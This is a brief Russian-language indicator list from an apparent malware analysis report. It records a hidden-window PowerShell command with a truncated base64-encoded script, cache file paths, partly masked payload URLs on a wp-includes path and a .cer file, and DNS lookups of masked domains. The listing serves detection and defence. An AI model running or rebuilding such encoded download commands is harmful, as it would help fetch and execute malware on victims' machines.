Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB2AGUAaQBwAHQAbwBlAHQAaABmAG8AaQB3AGwAZQBlAHkAYgB1AGsAPQAnAHAAYQBpAHQAZwBpAHIAdABoAGEAZABnAGEAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAF...
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- http://st####rsecurity.com/wp-includes/PTyoVOEIY/
- http://x.##2.us/x.cer
- DNS ASK sc####na.education
- DNS ASK ma##i.site
- DNS ASK ma##.work
- DNS ASK bl##.##ngjieyuan.com
- DNS ASK st####rsecurity.com
- DNS ASK x.##2.us
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB2AGUAaQBwAHQAbwBlAHQAaABmAG8AaQB3AGwAZQBlAHkAYgB1AGsAPQAnAHAAYQBpAHQAZwBpAHIAdABoAGEAZABnAGEAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAF...' (со скрытым окном)